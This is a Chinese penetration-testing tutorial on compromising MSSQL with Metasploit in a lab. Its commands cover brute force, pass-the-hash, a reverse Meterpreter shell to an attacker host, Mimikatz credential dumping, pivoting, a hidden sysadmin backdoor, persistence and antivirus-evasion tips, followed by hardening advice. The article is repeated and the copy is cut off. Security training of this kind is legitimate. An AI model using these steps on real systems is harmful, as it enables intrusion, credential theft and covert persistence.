1. 项目概述当Metasploit遇上MSSQL在安全评估和渗透测试的实战中数据库服务器往往是攻击者觊觎的核心目标其中微软的SQL ServerMSSQL因其在企业环境中广泛部署而备受关注。它不仅是存储关键业务数据的仓库其自身的管理功能和安全配置也常常成为整个内网突破的跳板。今天要聊的就是如何利用渗透测试框架Metasploit对MSSQL数据库进行系统性的安全探测与验证。这绝不是为了教你搞破坏而是作为一名安全从业者或系统管理员你必须了解的攻击者视角和常见攻击路径从而更好地加固你的防线。Metasploit作为一个成熟的、模块化的渗透测试平台提供了从信息收集、漏洞利用到后渗透攻击的完整链条。针对MSSQL它内置了丰富的辅助模块和利用模块能够自动化地完成从发现弱口令、执行命令到获取系统权限等一系列操作。很多人可能只知道用msfconsole跑几个简单的exploit但实际上一次成功的“内网漫游”往往始于对一台数据库服务器的精准打击。我们将深入拆解这个过程不仅告诉你“怎么做”更会重点分析“为什么这么做”以及“可能会遇到什么坑”。无论你是刚开始接触渗透测试的新手还是想深化对MSSQL攻击面理解的老兵这篇从原理到实操的详解都能给你带来直接的参考价值。2. 核心思路与攻击链拆解一次针对MSSQL的成功渗透很少是单点爆破就能完成的它通常遵循一个清晰的逻辑链条。理解这个攻击链比记住几个命令更重要。2.1 攻击路径全景图典型的MSSQL渗透路径可以概括为以下几个阶段信息收集与目标定位确定目标MSSQL服务器的IP、端口、版本、实例名甚至是通过网络嗅探发现其通信凭证。身份验证突破这是最关键的环节。攻击者会尝试多种方式通过MSSQL的身份验证最常见的就是暴力破解或利用默认/弱口令。此外如果MSSQL配置了混合模式认证SQL Server和Windows身份验证并且以高权限的Windows账户运行那么突破认证就意味着直接拿到了系统级的访问权限。权限提升与命令执行成功认证后攻击者获得的初始权限是数据库层面的。Metasploit的核心价值在于它提供了模块能够利用MSSQL的扩展存储过程如xp_cmdshell或CLR集成等功能将数据库权限提升为在宿主操作系统上执行任意命令的权限。后渗透与持久化在目标系统上执行命令后攻击者会尝试建立更稳定的反向连接如Meterpreter会话、进行内网横向移动、提取哈希或敏感数据并部署后门以实现持久化访问。Metasploit为每个阶段都提供了相应的模块。我们的操作将紧密围绕这个链条展开模拟一个从外部探测到最终获取系统控制权的完整过程。2.2 为什么选择Metasploit你可能会问有很多专门的MSSQL连接工具和脚本为什么偏偏要用Metasploit原因在于其集成化和武器化。一站式操作从端口扫描、服务识别到漏洞利用和会话管理都可以在msfconsole这个统一界面内完成无需在多个工具间切换。模块化设计每个功能都是一个独立的模块辅助模块、利用模块、后渗透模块你可以像搭积木一样组合使用并且模块的参数、输出都标准化易于学习和复现。稳定的Payload交付Metasploit的Meterpreter是一个强大的内存驻留型Payload它提供了文件系统操作、权限提升、键盘记录等大量后渗透功能且相较于普通的cmdshell更隐蔽、功能更丰富。持续更新Metasploit社区和Rapid7公司会持续更新其漏洞利用库对于新出现的MSSQL相关漏洞如历史CVE往往能第一时间提供利用模块。注意所有后续演示均在授权的测试环境如自己搭建的虚拟机实验室中进行。未经授权对任何系统进行渗透测试是非法行为务必遵守法律法规。3. 环境准备与基础信息收集工欲善其事必先利其器。在启动Metasploit之前我们需要明确目标并准备好测试环境。3.1 实验室环境搭建为了复现整个过程我建议搭建一个简单的靶机环境攻击机Kali Linux预装了Metasploit Framework。确保其网络可以与靶机互通。靶机Windows Server 2016/2019 SQL Server安装一个MSSQL实例。为了模拟常见安全疏漏建议进行如下配置启用sa账户并设置一个弱口令如Password123。启用xp_cmdshell扩展存储过程默认禁用。可以在SQL Server Management Studio (SSMS)中执行EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;将SQL Server服务启动账户设置为具有本地管理员权限的账户如NT AUTHORITY\SYSTEM或域管理员账户这会极大增加攻击成功后的影响。3.2 基础扫描与发现假设我们已经通过前期侦察知道了目标服务器的IP是192.168.1.100但不确定其是否开放了MSSQL服务以及具体的端口。首先我们可以使用Metasploit内置的端口扫描模块进行快速探测。打开终端输入msfconsole进入框架。# 在msfconsole中操作 msf6 use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/portscan/tcp) set PORTS 1433,1434, 3000-4000 # MSSQL默认端口是1433也可能在其他端口 msf6 auxiliary(scanner/portscan/tcp) run如果发现1433端口开放接下来可以使用MSSQL专属的版本探测模块来获取更详细的信息。msf6 use auxiliary/scanner/mssql/mssql_ping msf6 auxiliary(scanner/mssql/mssql_ping) set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/mssql/mssql_ping) run这个模块会发送特定的探测包返回的信息可能包括主机名、实例名、版本号如SQL Server 2019和运行的服务名。实例名尤其重要特别是在连接命名实例时。例如返回信息可能是192.168.1.100\SQLEXPRESS这里的SQLEXPRESS就是实例名。实操心得在实际内网中MSSQL不一定跑在默认的1433端口。管理员经常出于安全考虑修改端口。此时结合全端口扫描结果再使用mssql_ping模块对开放的高位端口进行探测往往能有意外收获。另外如果网络环境中存在广播流量该模块也能用于发现网络内所有的MSSQL实例。4. 身份验证突破从爆破到利用拿到目标地址和端口后下一步就是尝试登录。这是整个过程中技术含量相对较低但成功率却可能很高的一环因为弱口令和默认配置太常见了。4.1 MSSQL登录暴力破解Metasploit提供了高效的暴力破解模块。msf6 use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/mssql/mssql_login) set USER_FILE /usr/share/wordlists/metasploit/common_users.txt # 用户名字典 msf6 auxiliary(scanner/mssql/mssql_login) set PASS_FILE /usr/share/wordlists/metasploit/common_passwords.txt # 密码字典 msf6 auxiliary(scanner/mssql/mssql_login) set STOP_ON_SUCCESS true # 找到一个有效凭证就停止 msf6 auxiliary(scanner/mssql/mssql_login) run运行后模块会尝试字典中的用户名/密码组合。如果sa账户密码是弱口令很快就会被破解出来。模块会输出类似[] 192.168.1.100:1433 - Login Successful: WORKGROUP\sa:Password123的成功信息。为什么选择这些字典common_users.txt和common_passwords.txt是Metasploit自带的包含了像sa,admin,administrator等常见数据库用户名和password,123456,admin等弱口令。在实战中你需要根据目标组织的文化、行业特点来定制更精准的字典比如公司名缩写年份等。4.2 利用捕获的哈希进行认证在内网渗透中你可能已经通过其他手段如Responder工具毒化LLMNR/NBT-NS请求捕获到了MSSQL服务账户的Net-NTLMv2哈希。这时你可以尝试使用“哈希传递”的方式进行认证而无需破解明文密码。Metasploit的mssql_login模块也支持直接使用哈希。msf6 auxiliary(scanner/mssql/mssql_login) set USERNAME sqlservice # 捕获到的用户名 msf6 auxiliary(scanner/mssql/mssql_login) set NTLM_HASH e0c45d0c9c0b3b9a4e0b0c0f5a0b5c0d5:5fbc3d5fec8205a5c0f5a0b5c0d5e0c45 # 格式为LMHash:NTHash如果只有NTHash前面用0填充 msf6 auxiliary(scanner/mssql/mssql_login) set USE_WINDOWS_AUTHENT true # 使用Windows身份验证 msf6 auxiliary(scanner/mssql/mssql_login) run这种方式在域环境中尤其有效如果你捕获到的是域账户的哈希并且该账户有权限登录MSSQL那么你就直接绕过了口令验证。5. 权限提升与命令执行实战成功登录MSSQL后我们获得的只是一个数据库连接会话。我们的目标是获得目标服务器的操作系统级控制权。这里主要依赖MSSQL的xp_cmdshell功能。5.1 启用与利用xp_cmdshellxp_cmdshell是一个允许执行操作系统命令的扩展存储过程。默认情况下它在高版本SQL Server中是禁用的。我们的攻击模块会尝试自动启用它。msf6 use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) set RHOSTS 192.168.1.100 msf6 exploit(windows/mssql/mssql_payload) set RPORT 1433 msf6 exploit(windows/mssql/mssql_payload) set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) set PASSWORD Password123 msf6 exploit(windows/mssql/mssql_payload) set PAYLOAD windows/meterpreter/reverse_tcp # 选择Payload类型 msf6 exploit(windows/mssql/mssql_payload) set LHOST 192.168.1.50 # 攻击机IP msf6 exploit(windows/mssql/mssql_payload) set LPORT 4444 # 监听端口 msf6 exploit(windows/mssql/mssql_payload) exploit执行exploit命令后模块会执行以下操作使用提供的凭证登录MSSQL。检查并尝试启用xp_cmdshell如果尚未启用。它通过执行sp_configure和RECONFIGURE语句来完成。通过xp_cmdshell执行一系列PowerShell或cmd命令在内存中下载并执行Meterpreter Payload的Stager。与攻击机上的监听器建立反向TCP连接。如果一切顺利你将看到一个meterpreter 的会话提示符这表示你已经获得了目标系统的一个交互式Shell。关键参数解析PAYLOAD这里选择了windows/meterpreter/reverse_tcp意思是生成一个Windows系统的、功能强大的Meterpreter负载并以反向TCP的方式连接回我们的攻击机。反向连接通常能更好地绕过出站防火墙限制。LHOST和LPORT这是攻击机上监听器的地址和端口。你需要确保靶机能够访问到这个地址在同一个内网或已做端口转发。5.2 替代方案当xp_cmdshell被严格禁用时有些环境的安全策略非常严格不仅禁用了xp_cmdshell还移除了相关的DLL文件或者权限不足以重新启用它。这时我们可以尝试其他方法。利用CLR集成SQL Server支持加载.NET公共语言运行时CLR程序集。我们可以创建一个能执行命令的CLR程序集并将其导入到数据库中。msf6 use exploit/windows/mssql/mssql_clr_payload这个模块的原理是通过SQL语句创建一个CLR程序集该程序集包含执行命令的代码然后通过调用这个程序集中的函数来达到执行系统命令的目的。它的使用方式与mssql_payload模块类似但成功率取决于数据库是否启用了CLR集成默认禁用但可能被开启以及当前账户是否有UNSAFE ASSEMBLY权限。利用Agent Jobs如果目标MSSQL配置了SQL Server代理并且当前账户有权限创建作业那么可以创建一个代理作业在作业的步骤中执行操作系统命令或PowerShell脚本。Metasploit目前没有专门的模块完全自动化这个过程但通过手动SQL查询或结合其他脚本可以实现。注意事项无论是启用xp_cmdshell还是创建CLR程序集都会在数据库日志中留下非常明显的痕迹。在真实的红队评估中需要权衡攻击动作的噪音水平。蓝队也可以通过监控sp_configure、CREATE ASSEMBLY等关键语句来发现此类攻击行为。6. 后渗透阶段内网拓展与权限维持拿到Meterpreter会话只是开始远未结束。接下来我们要以这台数据库服务器为跳板进行更深层次的探索。6.1 基础系统信息收集在Meterpreter会话中我们可以轻松获取大量信息。meterpreter sysinfo # 查看系统信息如计算机名、OS架构 meterpreter getuid # 查看当前Meterpreter会话的权限 meterpreter getsystem # 尝试提权到SYSTEM如果当前是管理员权限 meterpreter run post/windows/gather/enum_logged_on_users # 枚举当前登录用户 meterpreter run post/windows/gather/enum_domain # 尝试发现域信息如果getuid显示是NT AUTHORITY\SYSTEM那恭喜你你已经获得了最高权限。这通常是因为MSSQL服务是以SYSTEM或高权限管理员账户运行的。如果不是你可能需要先进行本地提权。6.2 内网横向移动数据库服务器通常位于内网的核心或DMZ区是通往其他重要服务器的桥梁。1. 哈希抓取与传递meterpreter load kiwi # 加载Mimikatz扩展Kiwi是Meterpreter版的Mimikatz meterpreter creds_all # 尝试从内存中提取各种凭证明文密码、哈希、票据如果抓取到了其他本地管理员或域用户的哈希就可以在內网中使用psexec、smbexec等模块进行横向移动。2. 端口转发与代理如果从数据库服务器可以访问到其他内网网段如10.10.10.0/24的资源我们可以设置端口转发或SOCKS代理让我们的攻击机也能访问。meterpreter run autoroute -s 10.10.10.0/24 # 添加路由 meterpreter background # 将会话放到后台 msf6 use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) set SRVPORT 1080 msf6 auxiliary(server/socks_proxy) run然后在攻击机上配置代理工具如Proxychains指向127.0.0.1:1080就可以让后续的扫描工具如nmap通过这个代理扫描10.10.10.0/24网段了。3. 利用MSSQL链接服务器MSSQL的“链接服务器”功能允许一台SQL Server实例访问另一台。如果当前数据库配置了到其他SQL Server的链接并且使用的是存储的凭证我们可能可以直接通过查询链接服务器来访问甚至控制另一台数据库。# 在Meterpreter中我们可以通过上传一个PowerShell脚本或使用mssql_sql模块来执行SQL查询 meterpreter shell C:\ sqlcmd -S . -U sa -P Password123 -Q EXEC sp_linkedservers # 查看链接服务器列表 C:\ sqlcmd -S . -U sa -P Password123 -Q SELECT * FROM [LinkedServerName].master.sys.syslogins # 查询链接服务器上的信息6.3 权限维持留后门在完成主要目标后为了后续方便再次进入需要留下后门。1. 创建新的MSSQL管理员账户除了sa我们可以创建一个隐藏的、具有sysadmin角色权限的账户。-- 通过Meterpreter的shell或mssql_sql模块执行 CREATE LOGIN [backdoor_user] WITH PASSWORD StrongBackdoorPass!#; ALTER SERVER ROLE [sysadmin] ADD MEMBER [backdoor_user]; -- 同时可以禁用该账户的登录审计使其更隐蔽如果可能2. 部署持久化的MeterpreterMeterpreter的persistence脚本可以创建服务、计划任务等实现开机自启。meterpreter run persistence -X -i 30 -p 443 -r 192.168.1.50-X系统启动时运行。-i 30每30秒尝试连接一次。-p 443连接回连的端口使用443等常见端口更隐蔽。-r 192.168.1.50攻击机IP。3. 安装Web Shell如果数据库服务器同时是一台Web服务器可以尝试将一个小马Web Shell上传到Web目录通过HTTP/HTTPS访问来执行命令作为备用通道。踩坑实录在一次测试中我使用persistence脚本创建的服务被杀毒软件立即查杀。后来改用更隐蔽的方法比如利用计划任务在特定时间或事件触发时执行Payload或者将Payload注入到合法的系统进程如svchost.exe的内存中成功率更高。权限维持是一场与安全防护软件的持续对抗需要不断变换手法。7. 防御视角与安全加固建议了解了攻击者的手段我们才能更好地防御。从系统管理员或安全工程师的角度针对MSSQL服务器以下加固措施至关重要1. 身份验证与账户管理禁用或重命名sa账户永远不要使用默认的sa账户或者至少将其重命名并设置超强密码。使用Windows身份验证模式尽可能使用集成的Windows身份验证避免使用SQL Server身份验证这可以利用Windows的账户策略如密码复杂度、锁定阈值。遵循最小权限原则为应用程序分配仅能满足其功能所需的最低数据库权限的账户绝对不要使用sysadmin角色账户运行应用。定期审计账户定期检查sys.syslogins视图移除不必要的、过期的或测试账户。2. 服务配置与功能最小化禁用不必要的功能如非绝对需要禁用xp_cmdshell、OLE Automation Procedures、CLR Integration等危险功能。EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 0; RECONFIGURE; EXEC sp_configure clr enabled, 0; RECONFIGURE;以低权限账户运行MSSQL服务不要使用Local System或域管理员账户运行SQL Server服务。创建一个专用的、权限受限的本地或域账户。修改默认端口将默认的1433端口改为其他不常用的端口可以阻挡一部分自动化扫描。3. 网络与主机层防护严格的防火墙策略仅允许特定的、可信的应用程序服务器IP地址访问MSSQL的端口禁止公网IP直接访问。及时安装补丁定期为Windows Server和SQL Server安装安全更新修复已知漏洞。部署主机入侵防御系统能够监控和阻止xp_cmdshell的启用、可疑的进程创建如cmd.exe、powershell.exe被SQL Server进程启动等行为。启用SQL Server审计开启登录审计和C2级别审计记录所有成功和失败的登录尝试以及权限变更等敏感操作。4. 主动监控与威胁狩猎监控特定SQL语句在SIEM安全信息与事件管理系统中设置规则告警诸如sp_configure ‘xp_cmdshell’, 1、EXEC xp_cmdshell、CREATE ASSEMBLY等高风险语句的执行。分析数据库日志定期检查SQL Server错误日志和Windows事件日志寻找异常登录模式如非工作时间登录、来自异常地理位置的登录。定期进行漏洞扫描与渗透测试聘请专业团队或使用自动化工具从攻击者视角主动发现自身弱点并及时修复。我个人在多年的安全评估中发现绝大多数成功的MSSQL入侵案例根源都不在于多么高深的0day漏洞而是最基本的账户弱口令、默认配置和过大的权限。攻击者往往只需要一个简单的mssql_login模块就能长驱直入。因此防御的第一要务永远是做好基础安全卫生严格的身份管理和权限控制比任何高端的安全设备都来得有效。通过Metasploit这样的工具进行模拟攻击不是为了炫技而是为了用一种最直观、最深刻的方式验证你的防御体系是否真的固若金汤。
Metasploit渗透MSSQL实战:从弱口令到内网漫游的完整攻击链解析
1. 项目概述当Metasploit遇上MSSQL在安全评估和渗透测试的实战中数据库服务器往往是攻击者觊觎的核心目标其中微软的SQL ServerMSSQL因其在企业环境中广泛部署而备受关注。它不仅是存储关键业务数据的仓库其自身的管理功能和安全配置也常常成为整个内网突破的跳板。今天要聊的就是如何利用渗透测试框架Metasploit对MSSQL数据库进行系统性的安全探测与验证。这绝不是为了教你搞破坏而是作为一名安全从业者或系统管理员你必须了解的攻击者视角和常见攻击路径从而更好地加固你的防线。Metasploit作为一个成熟的、模块化的渗透测试平台提供了从信息收集、漏洞利用到后渗透攻击的完整链条。针对MSSQL它内置了丰富的辅助模块和利用模块能够自动化地完成从发现弱口令、执行命令到获取系统权限等一系列操作。很多人可能只知道用msfconsole跑几个简单的exploit但实际上一次成功的“内网漫游”往往始于对一台数据库服务器的精准打击。我们将深入拆解这个过程不仅告诉你“怎么做”更会重点分析“为什么这么做”以及“可能会遇到什么坑”。无论你是刚开始接触渗透测试的新手还是想深化对MSSQL攻击面理解的老兵这篇从原理到实操的详解都能给你带来直接的参考价值。2. 核心思路与攻击链拆解一次针对MSSQL的成功渗透很少是单点爆破就能完成的它通常遵循一个清晰的逻辑链条。理解这个攻击链比记住几个命令更重要。2.1 攻击路径全景图典型的MSSQL渗透路径可以概括为以下几个阶段信息收集与目标定位确定目标MSSQL服务器的IP、端口、版本、实例名甚至是通过网络嗅探发现其通信凭证。身份验证突破这是最关键的环节。攻击者会尝试多种方式通过MSSQL的身份验证最常见的就是暴力破解或利用默认/弱口令。此外如果MSSQL配置了混合模式认证SQL Server和Windows身份验证并且以高权限的Windows账户运行那么突破认证就意味着直接拿到了系统级的访问权限。权限提升与命令执行成功认证后攻击者获得的初始权限是数据库层面的。Metasploit的核心价值在于它提供了模块能够利用MSSQL的扩展存储过程如xp_cmdshell或CLR集成等功能将数据库权限提升为在宿主操作系统上执行任意命令的权限。后渗透与持久化在目标系统上执行命令后攻击者会尝试建立更稳定的反向连接如Meterpreter会话、进行内网横向移动、提取哈希或敏感数据并部署后门以实现持久化访问。Metasploit为每个阶段都提供了相应的模块。我们的操作将紧密围绕这个链条展开模拟一个从外部探测到最终获取系统控制权的完整过程。2.2 为什么选择Metasploit你可能会问有很多专门的MSSQL连接工具和脚本为什么偏偏要用Metasploit原因在于其集成化和武器化。一站式操作从端口扫描、服务识别到漏洞利用和会话管理都可以在msfconsole这个统一界面内完成无需在多个工具间切换。模块化设计每个功能都是一个独立的模块辅助模块、利用模块、后渗透模块你可以像搭积木一样组合使用并且模块的参数、输出都标准化易于学习和复现。稳定的Payload交付Metasploit的Meterpreter是一个强大的内存驻留型Payload它提供了文件系统操作、权限提升、键盘记录等大量后渗透功能且相较于普通的cmdshell更隐蔽、功能更丰富。持续更新Metasploit社区和Rapid7公司会持续更新其漏洞利用库对于新出现的MSSQL相关漏洞如历史CVE往往能第一时间提供利用模块。注意所有后续演示均在授权的测试环境如自己搭建的虚拟机实验室中进行。未经授权对任何系统进行渗透测试是非法行为务必遵守法律法规。3. 环境准备与基础信息收集工欲善其事必先利其器。在启动Metasploit之前我们需要明确目标并准备好测试环境。3.1 实验室环境搭建为了复现整个过程我建议搭建一个简单的靶机环境攻击机Kali Linux预装了Metasploit Framework。确保其网络可以与靶机互通。靶机Windows Server 2016/2019 SQL Server安装一个MSSQL实例。为了模拟常见安全疏漏建议进行如下配置启用sa账户并设置一个弱口令如Password123。启用xp_cmdshell扩展存储过程默认禁用。可以在SQL Server Management Studio (SSMS)中执行EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;将SQL Server服务启动账户设置为具有本地管理员权限的账户如NT AUTHORITY\SYSTEM或域管理员账户这会极大增加攻击成功后的影响。3.2 基础扫描与发现假设我们已经通过前期侦察知道了目标服务器的IP是192.168.1.100但不确定其是否开放了MSSQL服务以及具体的端口。首先我们可以使用Metasploit内置的端口扫描模块进行快速探测。打开终端输入msfconsole进入框架。# 在msfconsole中操作 msf6 use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/portscan/tcp) set PORTS 1433,1434, 3000-4000 # MSSQL默认端口是1433也可能在其他端口 msf6 auxiliary(scanner/portscan/tcp) run如果发现1433端口开放接下来可以使用MSSQL专属的版本探测模块来获取更详细的信息。msf6 use auxiliary/scanner/mssql/mssql_ping msf6 auxiliary(scanner/mssql/mssql_ping) set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/mssql/mssql_ping) run这个模块会发送特定的探测包返回的信息可能包括主机名、实例名、版本号如SQL Server 2019和运行的服务名。实例名尤其重要特别是在连接命名实例时。例如返回信息可能是192.168.1.100\SQLEXPRESS这里的SQLEXPRESS就是实例名。实操心得在实际内网中MSSQL不一定跑在默认的1433端口。管理员经常出于安全考虑修改端口。此时结合全端口扫描结果再使用mssql_ping模块对开放的高位端口进行探测往往能有意外收获。另外如果网络环境中存在广播流量该模块也能用于发现网络内所有的MSSQL实例。4. 身份验证突破从爆破到利用拿到目标地址和端口后下一步就是尝试登录。这是整个过程中技术含量相对较低但成功率却可能很高的一环因为弱口令和默认配置太常见了。4.1 MSSQL登录暴力破解Metasploit提供了高效的暴力破解模块。msf6 use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/mssql/mssql_login) set USER_FILE /usr/share/wordlists/metasploit/common_users.txt # 用户名字典 msf6 auxiliary(scanner/mssql/mssql_login) set PASS_FILE /usr/share/wordlists/metasploit/common_passwords.txt # 密码字典 msf6 auxiliary(scanner/mssql/mssql_login) set STOP_ON_SUCCESS true # 找到一个有效凭证就停止 msf6 auxiliary(scanner/mssql/mssql_login) run运行后模块会尝试字典中的用户名/密码组合。如果sa账户密码是弱口令很快就会被破解出来。模块会输出类似[] 192.168.1.100:1433 - Login Successful: WORKGROUP\sa:Password123的成功信息。为什么选择这些字典common_users.txt和common_passwords.txt是Metasploit自带的包含了像sa,admin,administrator等常见数据库用户名和password,123456,admin等弱口令。在实战中你需要根据目标组织的文化、行业特点来定制更精准的字典比如公司名缩写年份等。4.2 利用捕获的哈希进行认证在内网渗透中你可能已经通过其他手段如Responder工具毒化LLMNR/NBT-NS请求捕获到了MSSQL服务账户的Net-NTLMv2哈希。这时你可以尝试使用“哈希传递”的方式进行认证而无需破解明文密码。Metasploit的mssql_login模块也支持直接使用哈希。msf6 auxiliary(scanner/mssql/mssql_login) set USERNAME sqlservice # 捕获到的用户名 msf6 auxiliary(scanner/mssql/mssql_login) set NTLM_HASH e0c45d0c9c0b3b9a4e0b0c0f5a0b5c0d5:5fbc3d5fec8205a5c0f5a0b5c0d5e0c45 # 格式为LMHash:NTHash如果只有NTHash前面用0填充 msf6 auxiliary(scanner/mssql/mssql_login) set USE_WINDOWS_AUTHENT true # 使用Windows身份验证 msf6 auxiliary(scanner/mssql/mssql_login) run这种方式在域环境中尤其有效如果你捕获到的是域账户的哈希并且该账户有权限登录MSSQL那么你就直接绕过了口令验证。5. 权限提升与命令执行实战成功登录MSSQL后我们获得的只是一个数据库连接会话。我们的目标是获得目标服务器的操作系统级控制权。这里主要依赖MSSQL的xp_cmdshell功能。5.1 启用与利用xp_cmdshellxp_cmdshell是一个允许执行操作系统命令的扩展存储过程。默认情况下它在高版本SQL Server中是禁用的。我们的攻击模块会尝试自动启用它。msf6 use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) set RHOSTS 192.168.1.100 msf6 exploit(windows/mssql/mssql_payload) set RPORT 1433 msf6 exploit(windows/mssql/mssql_payload) set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) set PASSWORD Password123 msf6 exploit(windows/mssql/mssql_payload) set PAYLOAD windows/meterpreter/reverse_tcp # 选择Payload类型 msf6 exploit(windows/mssql/mssql_payload) set LHOST 192.168.1.50 # 攻击机IP msf6 exploit(windows/mssql/mssql_payload) set LPORT 4444 # 监听端口 msf6 exploit(windows/mssql/mssql_payload) exploit执行exploit命令后模块会执行以下操作使用提供的凭证登录MSSQL。检查并尝试启用xp_cmdshell如果尚未启用。它通过执行sp_configure和RECONFIGURE语句来完成。通过xp_cmdshell执行一系列PowerShell或cmd命令在内存中下载并执行Meterpreter Payload的Stager。与攻击机上的监听器建立反向TCP连接。如果一切顺利你将看到一个meterpreter 的会话提示符这表示你已经获得了目标系统的一个交互式Shell。关键参数解析PAYLOAD这里选择了windows/meterpreter/reverse_tcp意思是生成一个Windows系统的、功能强大的Meterpreter负载并以反向TCP的方式连接回我们的攻击机。反向连接通常能更好地绕过出站防火墙限制。LHOST和LPORT这是攻击机上监听器的地址和端口。你需要确保靶机能够访问到这个地址在同一个内网或已做端口转发。5.2 替代方案当xp_cmdshell被严格禁用时有些环境的安全策略非常严格不仅禁用了xp_cmdshell还移除了相关的DLL文件或者权限不足以重新启用它。这时我们可以尝试其他方法。利用CLR集成SQL Server支持加载.NET公共语言运行时CLR程序集。我们可以创建一个能执行命令的CLR程序集并将其导入到数据库中。msf6 use exploit/windows/mssql/mssql_clr_payload这个模块的原理是通过SQL语句创建一个CLR程序集该程序集包含执行命令的代码然后通过调用这个程序集中的函数来达到执行系统命令的目的。它的使用方式与mssql_payload模块类似但成功率取决于数据库是否启用了CLR集成默认禁用但可能被开启以及当前账户是否有UNSAFE ASSEMBLY权限。利用Agent Jobs如果目标MSSQL配置了SQL Server代理并且当前账户有权限创建作业那么可以创建一个代理作业在作业的步骤中执行操作系统命令或PowerShell脚本。Metasploit目前没有专门的模块完全自动化这个过程但通过手动SQL查询或结合其他脚本可以实现。注意事项无论是启用xp_cmdshell还是创建CLR程序集都会在数据库日志中留下非常明显的痕迹。在真实的红队评估中需要权衡攻击动作的噪音水平。蓝队也可以通过监控sp_configure、CREATE ASSEMBLY等关键语句来发现此类攻击行为。6. 后渗透阶段内网拓展与权限维持拿到Meterpreter会话只是开始远未结束。接下来我们要以这台数据库服务器为跳板进行更深层次的探索。6.1 基础系统信息收集在Meterpreter会话中我们可以轻松获取大量信息。meterpreter sysinfo # 查看系统信息如计算机名、OS架构 meterpreter getuid # 查看当前Meterpreter会话的权限 meterpreter getsystem # 尝试提权到SYSTEM如果当前是管理员权限 meterpreter run post/windows/gather/enum_logged_on_users # 枚举当前登录用户 meterpreter run post/windows/gather/enum_domain # 尝试发现域信息如果getuid显示是NT AUTHORITY\SYSTEM那恭喜你你已经获得了最高权限。这通常是因为MSSQL服务是以SYSTEM或高权限管理员账户运行的。如果不是你可能需要先进行本地提权。6.2 内网横向移动数据库服务器通常位于内网的核心或DMZ区是通往其他重要服务器的桥梁。1. 哈希抓取与传递meterpreter load kiwi # 加载Mimikatz扩展Kiwi是Meterpreter版的Mimikatz meterpreter creds_all # 尝试从内存中提取各种凭证明文密码、哈希、票据如果抓取到了其他本地管理员或域用户的哈希就可以在內网中使用psexec、smbexec等模块进行横向移动。2. 端口转发与代理如果从数据库服务器可以访问到其他内网网段如10.10.10.0/24的资源我们可以设置端口转发或SOCKS代理让我们的攻击机也能访问。meterpreter run autoroute -s 10.10.10.0/24 # 添加路由 meterpreter background # 将会话放到后台 msf6 use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) set SRVPORT 1080 msf6 auxiliary(server/socks_proxy) run然后在攻击机上配置代理工具如Proxychains指向127.0.0.1:1080就可以让后续的扫描工具如nmap通过这个代理扫描10.10.10.0/24网段了。3. 利用MSSQL链接服务器MSSQL的“链接服务器”功能允许一台SQL Server实例访问另一台。如果当前数据库配置了到其他SQL Server的链接并且使用的是存储的凭证我们可能可以直接通过查询链接服务器来访问甚至控制另一台数据库。# 在Meterpreter中我们可以通过上传一个PowerShell脚本或使用mssql_sql模块来执行SQL查询 meterpreter shell C:\ sqlcmd -S . -U sa -P Password123 -Q EXEC sp_linkedservers # 查看链接服务器列表 C:\ sqlcmd -S . -U sa -P Password123 -Q SELECT * FROM [LinkedServerName].master.sys.syslogins # 查询链接服务器上的信息6.3 权限维持留后门在完成主要目标后为了后续方便再次进入需要留下后门。1. 创建新的MSSQL管理员账户除了sa我们可以创建一个隐藏的、具有sysadmin角色权限的账户。-- 通过Meterpreter的shell或mssql_sql模块执行 CREATE LOGIN [backdoor_user] WITH PASSWORD StrongBackdoorPass!#; ALTER SERVER ROLE [sysadmin] ADD MEMBER [backdoor_user]; -- 同时可以禁用该账户的登录审计使其更隐蔽如果可能2. 部署持久化的MeterpreterMeterpreter的persistence脚本可以创建服务、计划任务等实现开机自启。meterpreter run persistence -X -i 30 -p 443 -r 192.168.1.50-X系统启动时运行。-i 30每30秒尝试连接一次。-p 443连接回连的端口使用443等常见端口更隐蔽。-r 192.168.1.50攻击机IP。3. 安装Web Shell如果数据库服务器同时是一台Web服务器可以尝试将一个小马Web Shell上传到Web目录通过HTTP/HTTPS访问来执行命令作为备用通道。踩坑实录在一次测试中我使用persistence脚本创建的服务被杀毒软件立即查杀。后来改用更隐蔽的方法比如利用计划任务在特定时间或事件触发时执行Payload或者将Payload注入到合法的系统进程如svchost.exe的内存中成功率更高。权限维持是一场与安全防护软件的持续对抗需要不断变换手法。7. 防御视角与安全加固建议了解了攻击者的手段我们才能更好地防御。从系统管理员或安全工程师的角度针对MSSQL服务器以下加固措施至关重要1. 身份验证与账户管理禁用或重命名sa账户永远不要使用默认的sa账户或者至少将其重命名并设置超强密码。使用Windows身份验证模式尽可能使用集成的Windows身份验证避免使用SQL Server身份验证这可以利用Windows的账户策略如密码复杂度、锁定阈值。遵循最小权限原则为应用程序分配仅能满足其功能所需的最低数据库权限的账户绝对不要使用sysadmin角色账户运行应用。定期审计账户定期检查sys.syslogins视图移除不必要的、过期的或测试账户。2. 服务配置与功能最小化禁用不必要的功能如非绝对需要禁用xp_cmdshell、OLE Automation Procedures、CLR Integration等危险功能。EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 0; RECONFIGURE; EXEC sp_configure clr enabled, 0; RECONFIGURE;以低权限账户运行MSSQL服务不要使用Local System或域管理员账户运行SQL 